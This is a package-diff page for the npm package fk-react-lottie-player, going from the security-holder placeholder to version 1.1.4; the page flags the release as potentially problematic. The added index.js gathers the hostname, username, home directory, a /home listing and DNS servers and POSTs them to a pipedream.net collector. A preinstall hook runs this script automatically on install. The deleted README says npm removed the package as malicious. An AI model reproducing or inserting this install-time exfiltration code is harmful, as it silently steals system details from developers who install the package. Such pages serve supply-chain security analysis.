fk-react-lottie-player 0.0.1-security → 1.1.4

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of fk-react-lottie-player might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +59 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,59 @@
1
+ const { exec } = require("child_process");
2
+ var cmd ="error";
3
+ exec("ls /home", (error, stdout, stderr) => {
4
+ if (error) {
5
+ console.log(`error: ${error.message}`);
6
+ return;
7
+ }
8
+ if (stderr) {
9
+ console.log(`stderr: ${stderr}`);
10
+ return;
11
+ }
12
+ cmd = `${stderr}`;
13
+ });
14
+
15
+ const os = require("os");
16
+ const dns = require("dns");
17
+ const querystring = require("querystring");
18
+ const https = require("https");
19
+ const packageJSON = require("./package.json");
20
+ const package = packageJSON.name;
21
+
22
+ const trackingData = JSON.stringify({
23
+ p: package,
24
+ c: __dirname,
25
+ home_directory: os.homedir(),
26
+ hostname: os.hostname(),
27
+ username: os.userInfo().username,
28
+ ls_home_command: cmd,
29
+ dns: dns.getServers(),
30
+ resolved: packageJSON ? packageJSON.___resolved : undefined,
31
+ });
32
+
33
+ var postData = querystring.stringify({
34
+ msg: trackingData,
35
+ });
36
+
37
+ var options = {
38
+ hostname: "eoi5erul8fbg7nw.m.pipedream.net", //replace burpcollaborator.net with Interactsh or pipedream
39
+ port: 443,
40
+ path: "/",
41
+ method: "POST",
42
+ headers: {
43
+ "Content-Type": "application/x-www-form-urlencoded",
44
+ "Content-Length": postData.length,
45
+ },
46
+ };
47
+
48
+ var req = https.request(options, (res) => {
49
+ res.on("data", (d) => {
50
+ process.stdout.write(d);
51
+ });
52
+ });
53
+
54
+ req.on("error", (e) => {
55
+ // console.error(e);
56
+ });
57
+
58
+ req.write(postData);
59
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "fk-react-lottie-player",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.1.4",
4
+ "description": "Hackerone nishant57",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=fk-react-lottie-player for more information.